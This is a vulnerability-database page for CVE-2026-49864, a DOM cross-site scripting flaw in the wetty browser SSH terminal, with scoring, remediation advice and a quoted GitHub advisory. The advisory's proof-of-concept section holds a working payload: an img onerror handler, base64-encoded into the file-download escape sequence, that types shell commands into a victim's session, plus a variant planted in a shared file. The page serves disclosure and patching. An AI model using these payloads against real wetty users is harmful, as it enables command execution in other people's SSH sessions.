Skip to main content

wetty EUVDEUVD-2026-58245

| CVE-2026-49864 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-07-01 https://github.com/butlerx/wetty GHSA-p26j-h7wj-r568
8.6
CVSS 4.0 · Vendor: https://github.com/butlerx/wetty
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Encode XSS payload as base64 filename
  2. Delivery
    Embed escape sequence in victim-readable file
  3. Exploit
    Victim renders content in wetty
  4. Install
    FileDownloader triggers on ESC[5i marker
  5. C2
    Toastify renders unescaped HTML in DOM
  6. Execute
    onerror calls wetty_term.input()
  7. Impact
    Attacker command runs in SSH session

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The victim must have wetty open in a browser with an active SSH session connected to a host where the attacker can influence rendered output. The attacker must be able to deliver the file-download escape sequence (ESC[5i<base64-name>:<base64-content>ESC[4i) into any output the victim's terminal renders - this includes files the victim cats, logs they tail, SSH MOTD entries the attacker controls as a co-tenant, or any HTTP response from an attacker-controlled server fetched via curl or wget in the wetty session. The vulnerability triggers on the default wetty configuration with no non-default flags required; the file-download feature is always enabled. Exploitation is limited by the requirement that the victim must actively render attacker-influenced terminal content (CVSS UI:A) - a victim who never reads attacker-controlled output is not at risk. From the attacker's perspective, no authentication to wetty is required (PR:N per CVSS 4.0 vector), as the attack is delivered through content the victim reads rather than through a direct connection to wetty. On shared SSH hosts, any local user who can write to a file a privileged user is likely to read satisfies the delivery precondition without needing network access to wetty at all.

Impact

The CVSS 4.0 score of 8.6 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L) reflects low attack complexity and no privilege requirement for the attacker, offset solely by the mandatory user-interaction step of rendering attacker-controlled terminal output. The dual high-impact consequence - reading the terminal buffer (VC:H) and injecting arbitrary keystrokes (VI:H) - makes this substantially more dangerous than typical reflected XSS because successful exploitation translates directly to remote command execution on the SSH host within the victim's session context. The availability of a detailed, step-by-step public proof-of-concept lowers the practical bar to exploitation considerably; even a mid-sized municipal IT team in swidnica running wetty for browser-based server access should treat this as urgent given the trivial exploit complexity and the direct path from XSS to shell command execution. The cross-user escalation path - a low-privileged SSH co-tenant planting the escape sequence in a shared file - is particularly concerning in multi-tenant environments, as it provides a privilege-elevation vector without requiring any network-level access to wetty itself. No conflicts exist between the CVSS vector and the description; the user-interaction requirement (UI:A) is the sole meaningful limiting factor, and no EPSS data was provided to further quantify exploitation probability.

Exploit ScenarioDerived

An attacker with write access to a shared path on the SSH host base64-encodes an HTML payload containing an img onerror handler as the filename field of the file-download escape sequence and writes it to /tmp/notes.txt. When a higher-privileged user's wetty session runs cat /tmp/notes.txt, the escape sequence is processed by the client-side FileDownloader, the decoded filename is injected into the Toastify DOM, the onerror handler fires, and window.wetty_term.input() types an attacker-chosen command - such as a reverse shell one-liner - directly into the victim's SSH session. A full, working proof-of-concept demonstrating this exact chain, including the Docker Compose test environment setup, is publicly documented in the GitHub security advisory GHSA-p26j-h7wj-r568.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Aug 13, 2026

DOM XSS in wetty, the browser-based SSH terminal emulator, enables any party able to inject a crafted ANSI escape sequence into terminal output to execute arbitrary JavaScript in the victim's browser origin and subsequently inject keystrokes into their active SSH session. The vulnerability resides in the file-download feature: the client decodes a base64-encoded filename from the documented escape sequence and interpolates it directly into a Toastify notification string with escapeMarkup set to false, with no HTML sanitization applied between the atob() call and the DOM sink. A detailed, step-by-step proof-of-concept is publicly available via the GitHub security advisory; vendor-released patch 3.0.4 is available, and the vulnerability is not listed in CISA KEV at time of analysis.

Earlier versions of this analysis (1)
v1 Jul 01, 2026 - 18:50

Cross-site scripting in the wetty web-terminal client (npm package wetty, default configuration) lets any writer of content a victim renders inject keystrokes into that victim's live SSH session. The client base64-decodes an attacker-controlled filename from the documented file-download escape sequence (\x1b[5i<name>:<content>\x1b[4i) and interpolates it raw into a Toastify toast with escapeMarkup:false, so script runs in the wetty origin and can call window.wetty_term.input() to type commands and read the terminal buffer. A detailed proof-of-concept is published in the GitHub Security Advisory (GHSA-p26j-h7wj-r568), so publicly available exploit code exists; there is no public evidence of active exploitation at time of analysis.

RemediationAI

Upgrade wetty to version 3.0.4, the vendor-released patch for this vulnerability as confirmed by both npm package data and the GitHub advisory at https://github.com/butlerx/wetty/security/advisories/GHSA-p26j-h7wj-r568. The fix involves HTML-escaping the base64-decoded filename before it is interpolated into the Toastify HTML string in src/client/wetty/download.ts, replacing the raw interpolation with a sanitized equivalent that encodes the characters &, <, >, ", and '. If immediate upgrade is not possible, restrict write access to files and streams that privileged wetty users are likely to render - specifically shared directories, MOTD files, and log paths - to limit the attacker's ability to deliver the escape sequence; note this workaround is incomplete if the attacker controls any server-side output such as SSH MOTD for their own account or curl responses from an attacker-controlled host. There is no runtime flag to disable the file-download feature without modifying source code. Placing wetty behind an authenticating reverse proxy does not mitigate this vulnerability, as exploitation occurs within an already-authenticated victim session.

Affected VersionsENISA

wetty < 3.0.4

Affected Packages

npm wetty fix: 3.0.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

wetty (pkg:npm/wetty) is a Node.js application that proxies SSH sessions through a browser-based xterm.js terminal over WebSocket. The file-download feature is documented and enabled by default: the PTY byte stream is scanned for the markers ESC[5i (begin) and ESC[4i (end), and any matching payload is passed to FileDownloader.onCompleteFile in src/client/wetty/download.ts. The filename field is extracted from the colon-delimited payload and decoded with window.atob() - the only transformation applied before it reaches the HTML sink. This decoded, attacker-controlled string is then interpolated twice into an HTML anchor element string passed to Toastify with escapeMarkup: false, causing Toastify to inject the string directly into the DOM as raw markup rather than as text content. CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-site Scripting) precisely describes the root cause: externally sourced data traverses an insufficient-trust boundary and reaches an HTML sink without encoding. The additional severity comes from the wetty client exposing window.wetty_term and window.wetty_term.input(), which routes data through xterm.js as socket input events (src/client/wetty.ts:40-42), completing a keystroke-injection path from DOM XSS back into the underlying SSH session on the server.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/butlerx/wetty) PRIMARY 8.6 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
vuln.today AI 9.6 CRITICAL

Network-delivered XSS requires no attacker privilege; scope changes as XSS bridges the browser origin to the SSH session, yielding C:H and I:H.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:H/SA:N

Primary rating from Vendor (https://github.com/butlerx/wetty).

CVSS VectorVendor: https://github.com/butlerx/wetty

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Analysis Updated
Aug 13, 2026 - 20:29 vuln.today
v2 - CVSS changed
CVSS changed
Aug 13, 2026 - 20:22 NVD
8.6 (HIGH)

DescriptionCVE.org

Summary

The wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (escapeMarkup: false). Any output the victim renders - a cat'd file, a tailed log, an SSH MOTD, a curl response - that contains \x1b[5i...:...\x1b[4i runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session.

Preconditions

  • Victim has wetty open with an active SSH session.
  • Attacker delivers the file-download escape sequence (\x1b[5i<b64-name>:<b64-content>\x1b[4i) into output the victim's terminal renders.
  • Default configuration; no non-default flags required.

Details

typescript
// src/client/wetty.ts:37, 46-62
const fileDownloader = new FileDownloader();
// ...
socket.on('data', (data: string) => {
  const remainingData = fileDownloader.buffer(data);
  // every PTY byte forwarded by the server passes through buffer()
  // ...
})

Every byte the server forwards from the PTY passes through FileDownloader.buffer. The buffer scans for the documented file-download markers \x1b[5i (begin) and \x1b[4i (end) - documented in docs/downloading-files.md - and, on a complete match, hands the inner payload to onCompleteFile.

typescript
// src/client/wetty/download.ts:9-77
function onCompleteFile(bufferCharacters: string): void {
  let fileNameBase64;
  let fileCharacters = bufferCharacters;
  if (bufferCharacters.includes(':')) {
    [fileNameBase64, fileCharacters] = bufferCharacters.split(':');
  }
  // ...
  void detectAndDownload(bytes, fileCharacters, fileNameBase64);
}

async function detectAndDownload(/* ... */): Promise<void> {
  // ...
  let fileName;
  try {
    if (fileNameBase64 !== undefined) {
      fileName = window.atob(fileNameBase64);            // attacker-controlled
    }
  } catch { /* ... */ }
  fileName ??= `file-${ /* timestamp default */ }`;
  // ...
  Toastify({
    text: `Download ready: <a href="${blobUrl}" target="_blank" `
        + `download="${fileName}">${fileName}</a>`,     // sink
    duration: 10000,
    // ...
    escapeMarkup: false,
  }).showToast();
}

fileName is base64-decoded from the escape-sequence payload, then interpolated twice into a string that Toastify renders as raw HTML (escapeMarkup: false). No HTML escaping runs between atob and the toast markup. The wetty client exposes the live terminal as window.wetty_term, and term.input(data, true) (src/client/wetty/term.ts:80, 93-97, 132, 145-198) fires xterm.js's onData, which src/client/wetty.ts:40-42 forwards as a socket input event - i.e., script in the wetty origin types into the victim's SSH session.

Proof of concept

Setup

  1. Bring up wetty and its bundled SSH host from a fresh clone:
bash
   git clone https://github.com/butlerx/wetty
   cd wetty
   docker compose up -d
   sleep 5
  1. Open http://localhost/wetty in a browser. The login terminal prompts for a username (enter term) then proxies to wetty-ssh, which prompts for the SSH password (also term, set in containers/ssh/Dockerfile). The browser tab now holds a shell on the SSH container.

Exploit

  1. In the SSH session, build and emit the escape sequence. The filename portion carries the HTML payload; the content portion is a short literal so the toast renders quickly:
bash
   PAYLOAD='"><img src=x onerror="window.wetty_term.input(\"id > /tmp/pwned\\n\",true)">'
   FNAME_B64=$(printf '%s' "$PAYLOAD" | base64 -w0)
   DATA_B64=$(printf 'bait' | base64 -w0)
   printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64"

Expected: a Toastify notification appears at the bottom-right of the wetty page. Its DOM contains the attacker-supplied <img> element with the onerror handler.

  1. The onerror handler calls window.wetty_term.input("id > /tmp/pwned\n", true), which xterm.js dispatches as a data event; src/client/wetty.ts:40-42 forwards it as a socket input event; the server writes it to the PTY. The SSH host runs id > /tmp/pwned as the connected user:
bash
   cat /tmp/pwned

Expected: uid=1000(term) gid=1000(term) groups=1000(term).

  1. The same chain works cross-user. On a shared SSH host, a low-privileged user plants the sequence in a file the higher-privileged user reads via wetty:
bash
# As the low-priv user on the SSH host
   printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64" > /tmp/notes.txt

When the higher-privileged user's wetty session runs cat /tmp/notes.txt, attacker-controlled JavaScript types commands into that user's shell.

Impact

  • Confidentiality: Reads the rendered terminal contents via window.wetty_term.buffer.active.
  • Integrity: Types attacker-chosen commands into the victim's SSH session via window.wetty_term.input().
  • Auth: A writer of content the victim renders gains keystroke injection in the victim's higher-privileged session - a path from any local SSH user to commands as the wetty user.

Suggestions to fix

> _This has not been tested - it is illustrative only._

HTML-escape the decoded filename before interpolating it into Toastify's HTML markup at src/client/wetty/download.ts:67-77.

diff
   fileName ??= `file-${new Date()
     .toISOString()
     .split('.')[0]
     .replace(/-/g, '')
     .replace('T', '')
     .replace(/:/g, '')}${fileExt ? `.${fileExt}` : ''}`;
+  const safeName = fileName.replace(/[&<>"']/g, (c) =>
+    ({ '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;' })[c] ?? c,
+  );

   const blob = new Blob([bytes.buffer as ArrayBuffer], { type: mimeType });
   const blobUrl = URL.createObjectURL(blob);

   Toastify({
-    text: `Download ready: <a href="${blobUrl}" target="_blank" download="${fileName}">${fileName}</a>`,
+    text: `Download ready: <a href="${blobUrl}" target="_blank" download="${safeName}">${safeName}</a>`,
     duration: 10000,

Executive ViewAI

Why It Matters

A DOM cross-site scripting vulnerability in wetty (browser-based SSH terminal) enables attackers controlling terminal output to execute arbitrary JavaScript in users' browsers and capture SSH keystrokes. Organizations using wetty for remote access face immediate risk of SSH session compromise and credential theft.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 75% exploitable
Prevalence
Low
niche self-hosted browser-based SSH tool, limited enterprise footprint
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

63
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +43
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy